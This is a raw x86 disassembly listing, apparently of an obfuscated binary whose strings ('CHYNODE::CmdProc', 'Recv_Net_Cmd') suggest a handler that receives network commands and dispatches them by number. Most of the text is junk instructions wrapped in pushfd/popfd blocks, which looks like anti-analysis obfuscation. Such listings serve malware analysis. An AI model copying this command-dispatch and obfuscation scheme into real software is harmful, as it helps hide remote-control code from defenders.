test eax, 0x8e368f93
nop
push ebp
and byte [edi - 0x11ea2a7c], dl
jnp 0x10097f87
popfd
push edi
pushfd
test byte [0x10097ff9], 0x90
je 0x10097ffa
jg 0x10097fd7
push esp
sub ebx, 0x9d0abc02
fidivr dword [ebx + 0x66]
push ds
int3
jbe 0x10098055
daa
bswap eax
mov es, word [edi]
add al, 0xfa
cli
pop ebx
sub esp, dword [eax + 0x42771a08]
faddp st(7)
scasd eax, dword es:[edi]
imul edx, dword [0xaca8ad7c], 0x33865ce4
in eax, dx
jnp 0x1009803d
popfd
push 3
call fcn.10049c0c
push 5
call fcn.1004b955
push str.Entering_CHYNODE::CmdProc1......
pushfd
test byte [0x1009805d], 0x44
jne 0x1009815e
mov eax, 0xdef123a9
jae 0x10098023
push edi
or eax, 0xd3265eff
pop ss
mov eax, 0x23140572
test edi, edi
sub eax, 0xd1684c7d
xchg dword [esi + edi*8], ebp
or eax, 0x4e3b9c9f
movsd dword es:[edi], dword [esi]
cmp ecx, dword [esi - 0x5b]
scasd eax, dword es:[edi]
in eax, 0x66
sbb ebx, eax
jl 0x10098009
clc
outsd dx, dword [esi]
xchg byte [ebx], bl
and edi, ebx
imul esp, dword [edi - 0x3b], 0xffffffbf
mov dh, 0xc7
xchg edi, eax
add ebp, ebp
inc eax
push ecx
push ecx
push ds
xor eax, 0x336bd066
cmc
pop edi
sbb dword [esi], eax
in al, dx
mov ecx, 0x7b9be435
or esp, dword [ecx + 0x5827393d]
xor eax, 0xb7b9be4
mov eax, dword [0x5827393d]
inc ecx
push ds
adc bl, byte [eax - 0x5a36e297]
cmpsb byte [esi], byte es:[edi]
dec ebx
shl edx, cl
aam 0xe1
xor dh, byte [edx - 0x7709dad7]
inc ebp
lodsb al, byte [esi]
cmp eax, 0x12d3532a
stosb byte es:[edi], al
mov esp, 0x34aaa3e9
add byte [ecx + 0x23], dh
mov ebp, 0x76764518
cld
int 0x54
mov esi, 0x174021f1
test dword [esi + 0x18], esp
dec ebp
jae 0x10098067
cmpsb byte [esi], byte es:[edi]
psllq mm5, qword [esi + 0x7c7140e3]
mov esi, 0xd2cd5aa3
das
sahf
sal byte [edi], cl
out dx, eax
xlatb
inc esi
stc
mov dl, 0x1f
push cs
pop ebp
mov ebx, 0x7ae36452
and al, 0x40
out 0xf, al
cli
xor ebp, dword [edx + 0x21e7419a]
enter 0x64e2, 0xffffffffffffff80
jo 0x100980ea
adc dword [edi - 0x76a1a20e], 0xdda893a2
xlatb
test byte [0x1aeb8b0d], bl
xchg ebp, eax
mov dl, 0x3b
adc eax, edi
inc ebx
mov dl, 0x1a
and eax, 0x677e874f
mov dword [0x25670f1e], eax
xchg edi, eax
mov eax, 0xe42e32b4
cdq
fadd qword [ecx + 0x3544f95d]
xchg esp, eax
cmp byte [ebx + 0xf4ec659], bh
mov ebx, 0xf4ec659
pushal
mov esi, 0xbfd7674
sub dword [edi - 0x648b2fb2], esp
xor dword [esi + 0x54], ebx
adc al, 0x2e
xor esi, dword [ebp - 0xf]
insd dword es:[edi], dx
jns 0x1009810b
jns 0x1009818a
dec ecx
fcomi st(7)
fnstsw word [ebx + 0x6011f15f]
salc
xchg ecx, eax
push cs
xchg esi, eax
and edx, dword [ecx + 0x62b41f1d]
lahf
ficomp word [edx + 0xf29b902]
xor ebp, dword fs:[edx - 0x2a]
adc byte [esp + edx*2], 0x2a
dec eax
push esp
mov ch, 0x91
xor al, 0x22
lodsb al, byte [esi]
daa
pop ds
scasb al, byte es:[edi]
sti
fcomp dword [esi + 0x4050d4a0]
popfd
push edi
pushfd
test byte [0x10098250], 0xde
jne 0x10098251
jnp 0x1009817f
sub dword [esi], ebx
clc
scasd eax, dword es:[edi]
ja 0x100981e1
test eax, edi
adc dword [edx - 0x18299677], edi
or ch, byte [ebx - 0x21]
mov ecx, 0xc6aa01bd
rol byte [edi], 1
imul ebx, edi, 0xffffffb9
mov ebp, 0xd0c6aa01
pop es
aam 0x73
xchg ebx, eax
add cl, byte [ebp + edi*2 - 0x76]
movsb byte es:[edi], byte [esi]
out 0x14, al
cwde
mov edi, 0x6a5f1084
jns 0x10098194
test byte [eax], dl
pop edi
push 0x79
cli
leave
inc eax
push ebp
mov dword [0x9a3b1a11], ecx
add bl, byte [edx - 0x23]
inc edi
pop es
jl 0x10098214
rep lodsd eax, dword [esi]
mov esp, 0x168ef17e
jo 0x100981b6
sbb eax, dword [esi + 0x32288cec]
sub edi, dword [ecx - 0x45ee4c19]
mov word [eax], gs
xor ch, byte [ebx]
mov ecx, 0xba11b3e7
inc esi
test dword [esi + 0x47], 0x69c77f06
sbb edx, esp
sbb esi, dword [edi]
mov cl, 0xe5
xor al, 0xfc
push ss
mov dh, 0x7e
jg 0x10098249
cli
rol ecx, cl
jbe 0x100981bf
pop edi
jae 0x2ae08efb
or edi, edi
sub eax, 0xcdc3293d
pop ebp
ror dword [eax], 1
mov ebp, 0x496813b4
stosd dword es:[edi], eax
cmp byte [esi + 0x7180c171], al
fimul dword [ecx - 0x2d]
scasb al, byte es:[edi]
xor edi, dword [ecx - 0x5c]
test byte [eax + 0xe], bl
push 0x1e
jmp [0xcdc3293d]
add bl, byte [edx - 0x6284460c]
psubb mm2, qword [edi]
xchg ebp, eax
inc ebx
out 0x87, eax
mov edx, 0x50c5be88
sub byte [edi], al
lds edx, [eax + 0x28]
pop es
xchg dl, al
lea edi, [edx - 0x7c5cad9a]
dec edx
sbb dword [eax - 0x47], ebx
jb 0x10098202
and eax, esi
mov dh, dh
and dh, byte [edi + 0x21]
pop eax
test dword [edi - 0x80], edi
in eax, 0x72
adc al, 0x81
sbb dword [eax - 0x3aa1a042], eax
add dh, dl
jne 0x10098259
or esp, ebx
or dword [esi - 0x5b], eax
loopne 0x100982a8
xchg edx, eax
loopne 0x100982b8
outsb dx, byte [esi]
adc ecx, edx
and eax, 0xf77e4e25
popfd
push 3
call fcn.10049c0c
mov esi, dword [ebp + 8]
add esp, 0x1c
mov dword [ebp - 0x10], edi
push ecx
mov dword [ebp + 8], esp
lea ecx, [ebp - 0x24]
mov dword [ebp + 8], esp
call fcn.1005eecb
pushfd
test byte [0x10098293], 0xaf
jne 0x10098394
jno 0x100982b8
mov ch, 0x88
xchg ebp, eax
sahf
scasb al, byte es:[edi]
test byte [ecx], 0x22
or byte [esi + 0x5f], al
insd dword es:[edi], dx
pop ebx
push ss
test eax, 0xd7dbaf0d
into
inc esp
push edi
daa
mov eax, esp
les esp, [eax + 0x4a]
int 0xbb
cwde
push esi
mov cl, 0x37
out 0x7a, al
fiadd dword [ebp - 0x7b]
mov bh, 0x27
call 0xf6949b9d
mov esp, esi
pop ebp
adc edx, esi
sub ecx, dword es:[esi + 0x6891e69]
push es
arpl word [ebx], sp
dec esp
test dh, 0xad
adc eax, 0xa3973877
cmp al, 0xf
dec eax
insb byte es:[edi], dx
sub eax, 0x3ba53e70
cwde
sbb dword [ebx], 0xdd879225
add edx, dword [ecx]
adc ebx, dword [ebp + 0x56ba0fd4]
fcomp qword [0x2b86ce1a]
xchg ecx, eax
xchg edi, eax
inc esp
fidiv dword [ebp - 9]
add ch, dh
or dword [ebp + 0x3c], eax
aad 0x3b
mov dl, 0x9d
or al, 0x79
pop edx
jbe 0x100982ad
std
mov bl, 0xe7
mov ecx, 0xea79553f
xrelease xchg dword [edi - 0x6bcfed01], ebp
add dword [ecx + 0x7434f5a3], esi
shr ah, cl
cmp eax, 0xb472e079
or al, 0x5b
pop ds
in eax, dx
xor al, 0xf6
dec edx
or cl, byte [ecx - 0x27]
dec eax
lodsd eax, dword [esi]
les esp, [edi]
push edi
nop
into
cmp byte [ebp + 0x62ffb1c0], ah
loopne 0x1009835b
clc
mov bl, 0x70
sbb ebp, ebp
adc byte [ecx], bh
cld
mov eax, 0xae60808c
or al, byte [ecx - 0x4f]
pop eax
sub esp, esp
lds edi, [ebx]
mov esi, ds
inc edx
push ss
sbb ebx, dword [ecx + 0x43]
enter 0xffffffffffff985f, 0x28
push es
jg 0x1009839e
xchg ebp, eax
xchg edx, eax
sti
sbb dword [eax], edx
xor eax, 0xc0f6137a
xchg edx, eax
sbb eax, 0x7fae4db1
cmp edx, 0xfffffffb
mov cl, 0x4d
scasb al, byte es:[edi]
jg 0x100982e3
cli
sti
cmp bh, byte [eax]
mov bl, 0x61
pop esi
and dword [eax - 0x56], esi
mov bl, byte [ebx]
lahf
aad 0xa6
and cl, byte [ebx]
xor edx, ebp
outsd dx, dword [esi]
and al, 0xdd
and byte [ebp + ebx*2 + 0x3a], dh
sub al, 0x89
sahf
popal
lds edx, [edi]
sub eax, 0xdc0dc265
into
cmp ebp, ebp
shl dword [ecx], cl
pop ebx
movsb byte es:[edi], byte [esi]
cmpsb byte [esi], byte es:[edi]
mov al, 0x8d
mov eax, dword [ecx + 0x33]
popfd
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
mov dword [ebp - 4], edi
call fcn.10089fd5
test eax, eax
jne 0x10099faa
cmp dword [ebp - 0x20], edi
je 0x10099faa
mov eax, dword [ebp - 0x24]
mov dword [ebp + 8], edi
mov edi, dword [eax]
push dword [edi + 0x1d]
add edi, 8
push str.CHYNODE::CmdProc:Recv_Net_Cmd:_d
xor ebx, ebx
push 0
inc ebx
push 3
pushfd
test byte [0x100984cc], 0xf3
jne 0x100984cd
rcr byte [eax - 0x6df8201d], 1
sub byte [eax - 0x6f], 0xc5
fst dword [eax]
push ebp
fsubr dword [ebx + 0x2d4e094e]
stosd dword es:[edi], eax
dec esi
or dword [esi + 0x2d], ecx
mov byte [0x13f6dd0], cl
dec ebp
push esp
lodsd eax, dword [esi]
cld
daa
fadd qword [ebp + ebp*2 - 0x63cf453b]
stosd dword es:[edi], eax
push ebx
xchg esi, eax
int 0x6b
mov edx, dword ds:[ebp - 0x26]
lea esp, [ebx]
push 0xf517a79d
cmc
sahf
int1
mov ecx, 0x6528aeee
inc ebp
mov bl, 0xe6
mov ebp, 0x35c7396e
sar ebp, 1
and eax, dword [edi]
int1
int1
jle 0x10098490
dec eax
daa
fimul word [edi - 0xe]
sti
add ebx, dword [eax - 0x1edc1f0a]
mov ah, 0xd9
mov eax, dword [0x198a8876]
loope 0x100983eb
fldenv [ecx + 0x198a8876]
ficomp dword [ebx + 0x3d]
jne 0x10098446
pop edx
or ebp, ebp
adc ebp, dword [edi + 0x76604d66]
lds eax, [esi - 0x48]
xor al, 0xc5
rsm
scasd eax, dword es:[edi]
dec bp
pushal
jbe 0x10098411
inc esi
mov eax, 0xaa0fc534
sub ch, dl
fstp st(4)
jns 0x10098405
out 0x48, eax
mov cl, byte [eax]
push esi
or eax, 0x82fee20c
stc
cld
rcr ebp, 1
or al, byte [edi - 0x6f]
add edx, dword [esi - 1]
xchg ebp, eax
fucom st(3)
add dword [esi - 0x32], esp
jo 0x100983f8
push esi
pop ss
lahf
fimul dword [ecx + 0x46]
inc edi
cmc
xor dword [ecx - 0x50], esp
loop 0x10098435
xor eax, 0xb6087fe1
pop ss
push esi
cwde
das
mov ecx, 0x3d3cfa8b
sbb al, 0x81
mov bl, 0xef
cmp eax, 0xefb3811c
rcr dword [edx + 0x38d23587], 0x62
stosd dword es:[edi], eax
mov gs, word [edx + 0xbac6aa9]
jb 0x10098473
mov ah, 0x1b
dec ecx
push esp
xchg edi, eax
add dword [ebp - 0x42], esp
in eax, dx
mov edi, 0xbb02e5da
lahf
aas
or byte [ebx], bl
rcl dword [esi + edi*2], 0xe3
mov ebp, 0x32bbdf8b
add dword [eax + 0x6d], edi
aas
inc esi
add dword [edi + esi*2 + 0x3c], esi
xchg ebp, eax
stosb byte es:[edi], al
xor al, 0xb6
popfd
mov dword [ebp - 0x14], ebx
call fcn.10049c0c
pushfd
test byte [0x1009851e], 0x3e
jne 0x1009861f
rcr byte [ebx + edx*2 - 0x5f], 1
not byte [esi + eax]
test edx, edx
pop ebx
cmc
sub eax, 0xf5bf9d87
adc ebx, ebx
dec ecx
and dword [edi + edx + 0x6f], ecx
lodsb al, byte [esi]
push eax
in al, dx
lea esp, [edx - 1]
adc eax, 0xc1877207
pop edx
das
inc ebx
jb 0x1009851c
out 0xa4, eax
mov dword [esi + edx*8], esi
leave
in al, 0x1a
dec ebx
sbb dword [0xa38cf9dd], 0x2b6c972d
mov ch, byte [ecx + 0x76]
sbb al, 0xdc
xchg edi, eax
insb byte es:[edi], dx
sub ecx, dword [edx - 0x23e38997]
in al, 0xd6
ja 0x1009854b
xlatb
fadd dword [ebx]
mov dh, 0x82
xchg ecx, eax
xchg ecx, eax
push es
int1
pushfd
and eax, 0xea4d901a
add dword [eax + 0x25ec02aa], ebp
popfd
fistp dword [edi]
mov bl, 0xa7
push ecx
daa
or byte gs:[ebx - 0x7281425d], ah
rcr dword [eax - 0x46], 1
adc dword [edx - 0x5f], esi
lea edx, [esp + edx*8 - 0x61]
bound esi, qword [ebx + 0x179f1d2f]
call 0x84a692a0
push ebp
adc dword [eax + 0x50], eax
cmpsb byte [esi], byte es:[edi]
xchg edi, eax
push 0x50
mov es, word [ecx + 0x28]
aas
add al, 0xf7
stc
leave
leave
cmp ecx, dword [edi + 0x4c5a69ca]
dec esp
mov bh, 0x85
sub dh, byte [esi - 0x55]
enter 0x6c4, 0x23
mov ah, 0x80
shl byte [eax - 0x57], 1
pop esi
mov dl, 0xa
mov esp, 0x72ce9351
fmulp st(1)
stc
pop ss
fcmovbe st(0), st(3)
fimul dword [eax - 0x46]
bound edi, qword [eax - 0x2e]
shl dword [esi], 0xfc
cld
lahf
insd dword es:[edi], dx
adc edi, ecx
pop esp
xchg edx, eax
or dword [eax - 0x13462283], ecx
jg 0x10098544
leave
mov dword [0xd10c0610], eax
test al, 0xda
push esp
push es
inc dword [eax - 0x28]
leave
add dword [edx - 0x6967eb1d], ecx
mov al, byte [0x4c755596]
scasd eax, dword es:[edi]
jne 0x1009859c
xchg edx, eax
daa
jno 0x10098560
cmp bl, byte [ebp + esi*8 - 0x38]
sub byte [esi], dl
xor al, 0x72
sbb edx, dword [ebx + edi*2 - 0x15a0587d]
bound ebp, qword [ebx + 0x2c]
sub eax, 0xfd46c34b
mov edi, 0x1f2a23ad
adc edi, dword [edi + 0x6e060c52]
xor eax, 0xc498786d
inc edi
and edx, edx
in al, dx
out dx, al
dec ebx
adc edx, dword [edi + 0x77]
scasd eax, dword es:[edi]
fiadd dword [esi + 0x77430b46]
aaa
pushal
sar byte [ecx - 0x4ef1e383], 1
int3
popfd
mov eax, dword [edi + 0x15]
pushfd
test byte [0x1009864d], 0x8f
jne 0x1009874e
lds edi, [ebx + 0x42]
push edx
jno 0x100985df
inc edi
cdq
outsb dx, byte [esi]
in al, 0x92
or al, 0xd8
mov byte [edi + 0x65bc49c7], bh
aam 0xed
aaa
scasd eax, dword es:[edi]
enter 0x2257, 0x16
jbe 0x10098620
fdiv dword [edx + 0x5e]
inc esp
xchg esp, eax
mov byte [edx - 0x3fb508a6], 0xf0
jbe 0x10098644
scasd eax, dword es:[edi]
pop ebp
stosb byte es:[edi], al
int1
add ebp, dword [eax + 0x7e]
adc byte [eax], dh
lahf
or byte [edi - 0x7f], dh
cmp esp, esi
out dx, eax
push esi
pushal
cmp al, 0xb5
push es
sub dword [edi - 0x3ddf9c57], edi
cli
jecxz 0x100986bb
add eax, 0x33d15b85
out 0x91, eax
test byte [ecx + 0x620ce162], dl
fst dword [ecx]
cwde
clc
in eax, 0x52
seta byte [eax - 0x47018e16]
or dword [esi - 0x4c], edi
mov bh, 0xf1
or dl, bl
fdivr qword [ebx - 8]
out dx, eax
mov bh, 0xdb
sub eax, 0xb821a319
push edi
clc
jne 0x1009863e
mov esi, 0x13c9c94a
pop ebp
int3
cwde
xchg edi, eax
dec edi
cmp eax, 0x6fba0dbd
retf 0x476a
popfd
add esp, 0x10
dec eax
je 0x10099272
pushfd
test byte [0x10098799], 0x9f
jne 0x1009889a
fldcw word [esi - 0x11]
push 0x164984c9
mov ah, 0xca
inc eax
push edi
add byte [edi + 0x4ab3f35d], bh
inc esp
repne movsb byte es:[edi], byte ds:[esi]
adc dword [ebx - 0x7a], esp
inc ebp
fst qword [ebx]
sbb ah, byte [ecx - 0x5a9ed245]
int3
popfd
sub eax, 4
pushfd
test byte [0x100988cb], 0x12
jne 0x100988cc
dec ecx
xchg byte [ecx + 0x1d], bh
lea edi, [esi + 0x52545574]
in al, 0xdb
jge 0x10098919
inc esp
scasb al, byte es:[edi]
mov ebx, 0x344b0a2
dec ecx
dec ecx
inc ebx
inc edi
outsb dx, byte [esi]
cmp al, 0xf9
test dword [eax], 0xde97a159
xchg edi, eax
popfd
je 0x10098fd7
dec eax
je 0x10098e7a
sub eax, 4
je 0x10098c45
lea eax, [edi + 0x7e]
push eax
call fcn.10046cf0
pop ecx
cmp eax, ebx
je 0x10098a58
lea eax, [esi + 0x6ef]
pushfd
test byte [0x100989b0], 0x18
jne 0x100989b1
inc esp
aaa
jae 0x10098940
jo 0x10098941
xchg ebx, eax
push ebp
cld
sub cl, al
out dx, eax
mov ecx, 0xc5978897
and dl, dl
test ebx, 0xbad405b4
jecxz 0x10098959
xchg edi, eax
lds esp, [eax]
sal bh, cl
retf
xor bl, byte [esi]
loopne 0x100988da
inc esi
sar ch, 1
xlatb
and ebx, edx
xor ch, bl
fisub word [edi + 0x42]
mov ebx, dword [ecx]
add al, 0xc7
xchg esp, eax
add al, 0xf1
xor al, byte [edx]
in eax, dx
out 0xf2, al
mov eax, dword [0x20527234]
mov eax, dword [0x20527234]
xlatb
salc
loop 0x10098983
push 0x246a36d2
xor byte [edi + 0x71], 2
jae 0x100988ec
dec ebp
js 0x10098991
and byte [edi], bh
aas
add al, 0xb4
pop esp
push esi
aas
push ss
sbb dh, ch
inc esi
test eax, ecx
int3
pop esi
push edx
mov bl, 0xc5
mov bh, 0x9e
cld
mov dword [0xf4730674], eax
push es
jae 0x1009897a
bswap ecx
pop edx
mov eax, dword [0x6dd440a4]
pushal
sub al, 0x5c
fldenv [edi - 0x75aab403]
leave
jns 0x100989fc
add al, 0x14
xchg byte [eax + 0x47], dh
push ecx
outsd dx, dword [esi]
sti
and al, 0xd7
push ebp
mov dword [0x1e218884], eax
pop ebp
std
sub al, 0x99
popfd
push eax
lea eax, [edi + 0x7e]
push eax
call fcn.10041098
pop ecx
pop ecx
pushfd
test byte [0x10098a4e], 0xa4
jne 0x10098a4f
int 0xef
out 0xa0, al
adc dl, byte [esi + edx*4 + 0x10]
dec ebx
add dword [ecx - 0x62], 0xffffff9b
insd dword es:[edi], dx
and byte [ebx], bl
out dx, eax
pushfd
div byte [edi]
dec ecx
psubsw mm5, qword [edi + ecx*2 + 0x53]
xchg esi, eax
rol ecx, cl
push ss
inc edx
sub byte [0xf20c561], dh
sub dh, byte [edx + edx*4 - 0x77]
popal
lds esp, [eax]
cvtpi2ps xmm6, qword [edx + edx*4 - 0x77]
fdivr dword [eax + 0x17]
je 0x10098a71
sbb al, 0xde
test al, 0xd9
pop ecx
into
push edi
mov edx, 0x1ea56912
fmul st(5)
mov dword [ebx - 0x61594231], esp
fucom st(7)
in al, dx
fstp qword [ebx + 0x1f]
pop edx
cli
mov ah, 0xb7
sub al, 0x34
xchg dword [edi], esi
in eax, dx
js 0x100989b1
inc ecx
inc ebp
stosb byte es:[edi], al
js 0x100989f1
xor ecx, dword [edi + 0x2857c367]
inc edx
mov dh, 0x79
insd dword es:[edi], dx
sar byte [esi + edx - 0x1d], 1
test byte [ebp - 0x21e4bf57], bh
and cl, byte [edi]
stc
jns 0x10098a47
xchg byte [0xde77b1ed], ah
and dword [edx - 0x17a61822], esi
adc esi, esi
popfd
cmp eax, ebx
jne 0x10098b19
mov eax, dword [edi + 0x15]
pushfd
test byte [0x10098a70], 0xec
mov cl, byte [ecx]
adc ah, ch
jne 0x10098a71
jbe 0x10098a9d
out dx, al
mov al, byte [0x995eb6ac]
xchg edx, eax
sbb al, 0xe3
sti
popfd
cmp eax, 2
jne 0x10098a84
push edi
mov ecx, esi
call fcn.10057570
jmp 0x10098b11
add byte [ebx + 0xa7503f8], al
cmp eax, 3
jne 0x10098a93
push edi
mov ecx, esi
call fcn.100575da
jmp 0x10098b11
cmp eax, 4
jne 0x10098ac3
push edi
mov ecx, esi
into
call fcn.1005762b
jmp 0x10098b11
jmp 0x10098a9a
cmp eax, 7
pushfd
test byte [0x10098ae7], 0x5b
je 0x10098ae8
pop esp
pop esp
out 0x9c, al
pop eax
mov al, byte [0xee0d66a6]
jecxz 0x10098a83
pop esi
ja 0x10098a5f
xchg edx, eax
jge 0x10098b0a
add eax, 0xa07309d2
popfd
jne 0x10098af5
push edi
mov ecx, esi
call fcn.100647a0
jmp 0x10098b11
cmp eax, 8
jne 0x10098b04
push edi
mov ecx, esi
call fcn.10064d0a
jmp 0x10098b11
cmp eax, 9
jne 0x10098b19
push edi
mov ecx, esi
call fcn.10091767
mov dword [ebp - 0x10], eax
jmp 0x1009948c
mov dword [ebp + 8], ebx
jmp 0x1009948c
clc
inc esp
inc eax
test al, 0x8f
popfd
lea ebx, [esi + 0x7b0]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push edi
mov ecx, esi
pushfd
test byte [0x10098d32], 0xeb
jne 0x10098d33
cmpsb byte [esi], byte es:[edi]
push edx
imul ecx, dword [ebx + 6], 0xe48a5f94
dec ecx
pushfd
xchg edi, eax
cmp bl, byte [esi]
mov ebp, 0xb2a1b09d
sbb byte [eax - 0x61c2b72e], cl
rcr byte [ecx - 0x3a7d1107], 1
pushal
mov eax, dword [0xd28818b2]
dec eax
cmp eax, 0xf999d09e
out dx, al
add ch, 0x60
insd dword es:[edi], dx
insd dword es:[edi], dx
bound ebp, qword [esi + 0x1b]
jae 0x10098c3f
insb byte es:[edi], dx
sbb esi, dword es:[ebx - 0x4d]
je 0x10098c42
aas
jno 0x10098cc6
out 0xdd, eax
mov bl, 0x8e
out dx, eax
enter 0xffffffffffffd8d5, 0xffffffffffffff84
scasd eax, dword es:[edi]
xor ebp, dword [esi - 7]
adc esi, dword [ebp + 0x3b1e85d4]
stc
lea edi, [esi - 0x48]
cdq
mov edx, 0x5539a7ed
dec ecx
cmpsb byte [esi], byte es:[edi]
sub al, 0x51
mov dword [0xbbe06827], eax
pop ebp
dec ebx
add byte [edx + 0xeb8179f], cl
jns 0x10098c75
xor dl, dh
jnp 0x10098c87
shr byte [edx - 0x50dcba5a], 0x93
mov al, byte [0xcc2af705]
stosb byte es:[edi], al
cmpsb byte [esi], byte es:[edi]
inc ebp
and ebp, dword [edi - 0x8fa5f6d]
sub cl, ah
adc al, 0x85
invalid
sal byte [ecx - 6], cl
dec edx
sets byte [edx - 0x62]
push edi
inc ebp
int 0x40
push ebp
xchg esp, eax
out dx, eax
fimul word [esi]
mov bh, 0xf9
imul ebp
sub al, byte [edx + 0x1ad79d2a]
mov cl, 0xdb
pop edi
popfd
call fcn.100577e5
pushfd
test byte [0x10098d73], 0x61
jne 0x10098e74
out 0x98, eax
cmpsb byte [esi], byte es:[edi]
add ecx, dword [eax + 0x4f530af2]
pop ebx
adc byte [ebp - 0x57], bl
popfd
or al, 0xa6
aam 0xc6
push ebx
pushfd
cmp eax, 0xadaa4724
ror dword [ebx - 0x6f16b152], cl
js 0x10098dab
out dx, eax
mov dword [ecx], esi
sub bl, ch
mov bh, 0xa2
add al, 0xc6
bound edx, qword [eax + 0x67]
or al, 0xed
aas
leave
je 0x10098d94
mov eax, 0x5587687
shr byte [edi], 1
in al, 0xb6
movsb byte es:[edi], byte [esi]
adc edx, dword [eax + 0x76]
loop 0x10098db3
cmpsd dword [esi], dword es:[edi]
and eax, 0x3cd6067d
jbe 0x10098d14
idiv byte [edi + ecx*8]
xchg edx, eax
cmp eax, 0xed3e8cf0
cmc
cmp al, 0xff
xor eax, 0x2b0bad6e
aad 0x70
test esi, edi
cmp al, 0x22
movsb byte es:[edi], byte [esi]
sbb dword [ebx + 0x320379c3], esp
lodsd eax, dword [esi]
popfd
daa
push 0x23f6f626
into
dec ebx
not byte [ebp - 0x63]
cmpsd dword [esi], dword es:[edi]
test eax, 0x4245df89
fild word [ebp + 0x42]
mov bl, 0x1b
xor byte [eax - 0x29], al
xchg edx, eax
cmp dh, byte [esi]
jge 0x10098dc1
cld
test eax, 0xe48c656b
sbb dword [edi - 0x3d5de31b], esp
sbb esp, dword [ebx - 0x55b3a69]
outsd dx, dword [esi]
daa
mov al, byte [0x853ff612]
stc
mov esi, 0xaa795184
cld
mov cl, byte [ecx + 0x27104042]
cmp eax, 0xbf070916
out dx, al
push edi
push es
cli
movsd dword es:[edi], dword [esi]
insd dword es:[edi], dx
cmpsb byte [esi], byte es:[edi]
cmp edi, dword [esi + 0x4951bf71]
dec ecx
imul eax, dword [ecx], 0xfffffff3
in al, 0x6e
inc esi
sub al, 0x55
and eax, dword [edx]
imul eax, dword [edi + 0x72], 0x572d2ec3
mov ebp, 0x117bf19c
enter 0x450c, 0xffffffffffffff99
adc eax, ecx
or al, 0x45
cdq
push edi
xchg ebp, eax
lea edx, [eax - 0x2a]
out 6, eax
xchg ecx, eax
push eax
std
fcomp qword [edx]
jb 0x10098e1b
les edi, [ecx + 0x4606f28f]
clc
mov word [esi - 0x1b2ef3a4], fs
mov word [ecx + 0x213425a6], cs
outsb dx, byte [esi]
mov esi, 0x76c3bbc7
sbb byte [ecx + 0x4e], dl
jbe 0x10098e60
push ecx
dec esi
dec esi
push esi
xchg dl, ch
popfd
ficomp word [edi]
clc
dec eax
popal
inc edi
cwde
imul eax, dword [eax + ecx], 0x9ac58e05
or ch, byte [ecx - 0x23]
rcr bl, 0x81
and eax, 0xa64e05be
cli
push es
movsd dword es:[edi], dword [esi]
sbb eax, 0xdc5733e9
push ebx
jecxz 0x10098e05
pushal
popfd
jmp 0x1009947b
lea ebx, [esi + 0x7b0]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
adc al, 0x10
push edi
mov ecx, esi
call fcn.10057745
pushfd
test byte [0x10098ed0], 0x22
jne 0x10098fd1
pop es
in al, 0xa5
fcomi st(1)
cmp eax, dword [esi]
mov ch, 0x10
xor edi, dword [esi + esi*8 + 0x18c91bc2]
jo 0x10098ec4
mov ebx, 0xdbe62d4e
jno 0x10098e46
pop esp
add esi, dword [ebp + eax*4 - 0x75]
nop esi
add al, 0x6c
push eax
ja 0x10098efb
cld
cld
xchg ebx, eax
pop edi
dec esp
mov esp, 0x7c5a8811
or dword [ebx], ebp
out 0xc6, eax
xor eax, 0x63b034db
je 0x10098f01
sub bh, byte [edi + edi + 0x744f1fdd]
sub dword [esi - 0x34acc6f1], esp
jl 0x10098e85
add esi, dword [eax - 0xd]
pop edi
pop es
imul byte [ecx]
mov dword [eax], edx
cmp al, 0x52
fstpnce st(2), st(0)
jg 0x10098ef5
and ah, al
pop edi
sbb ah, byte [ecx]
adc eax, 0x78fabb92
and dword [0x78fabb92], edx
or al, bl
sub al, 0x77
sbb byte [eax + 0x69c03fe9], cl
aaa
xor edi, dword [ebx - 0x464b13a5]
pop ebx
in al, dx
mov ah, 0xb9
dec edx
cli
mov eax, 0xca93f0fa
adc al, 0x99
jns 0x10098f0e
and dl, byte [edi + 0x6f]
or bl, 0xc7
or al, 0x72
mov eax, 0x80b247a3
aad 0x79
stosd dword es:[edi], eax
int1
cdq
aad 0xaa
pop es
dec esi
xlatb
sub eax, 0xeac38334
sub byte [eax], bl
cmc
loop 0x10098f10
sbb dword [ebx + edx*8 - 0x53a936f], 0xc06f3728
in eax, 0xfc
test eax, 0xae6f43f7
enter 0xffffffffffffdbc5, 7
lodsd eax, dword [esi]
inc eax
cdq
xchg ecx, eax
sbb cl, byte [ebp + 0x2e]
int3
popfd
jmp 0x1009947b
lea ebx, [esi + 0x7b0]
pushfd
test byte [0x10099016], 0x50
jne 0x10099017
cli
dec edx
add al, 0xe9
stc
cmp al, 0x49
jl 0x10099014
adc ecx, eax
mov ebp, dword [edi - 0x3a]
cli
outsb dx, byte [esi]
or al, 0x7b
mov edi, 0x703280b1
push ss
in al, 0x78
mov ebp, 0x2e3e2130
inc esi
in al, 0x2e
xchg ebx, eax
sub cl, byte [0xe1e5e2c2]
inc edi
out dx, al
inc edx
lds ebp, [ebx]
in eax, dx
popfd
push ebx
pushfd
test byte [0x10099080], 0x4f
jne 0x10099081
sbb dword [edx], esi
cmp dword [ecx + eax], ebx
or dword [edi - 0x1a], 0xa1f7633d
imul edx, dword [ebx + 0x28e4bd14], 0xffffffea
pop edi
adc byte [ebp + 0x6e], bh
je 0x100990b3
add byte [ebx + 0x68], 0xd
cmp byte [ebp + 0x50], cl
test eax, edx
jne 0x100990c1
mov edi, 0xaa2816f6
movsb byte es:[edi], byte [esi]
cmc
push ss
pop ecx
popfd
dec esp
dec ebp
int3
popfd
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [edi + 0x19], 0
pushfd
test byte [0x1009913f], 0x29
jne 0x10099140
or dword [esi - 0x4d64add9], 0x77
jbe 0x1009911b
cwde
mov eax, 0xe4e8159
aas
and al, 0x14
call 0xe57c57ef
pop ebp
scasb al, byte es:[edi]
adc eax, 0xb1175cec
or al, 0xf9
dec edi
das
enter 0x5d81, 0x76
pop ecx
dec edi
or esi, dword [edx - 0x10]
add dword [ecx + ecx*4 + 0x2c474e6], ebp
sbb dl, byte [eax]
cmpsb byte [esi], byte es:[edi]
mov dl, 0x81
test eax, 0xbe57f737
out 0xeb, al
dec edx
inc edx
bound edi, qword [edx + 0x74256648]
aas
dec esp
cmc
xor edx, eax
xor al, 0x5d
jbe 0x10099168
adc al, 0xa9
mov esi, 0x4cd10e44
mov eax, 0xe5ff28d6
lds ebp, [edi - 0x66d84e5f]
mov dh, 0x1c
ja 0x1009914d
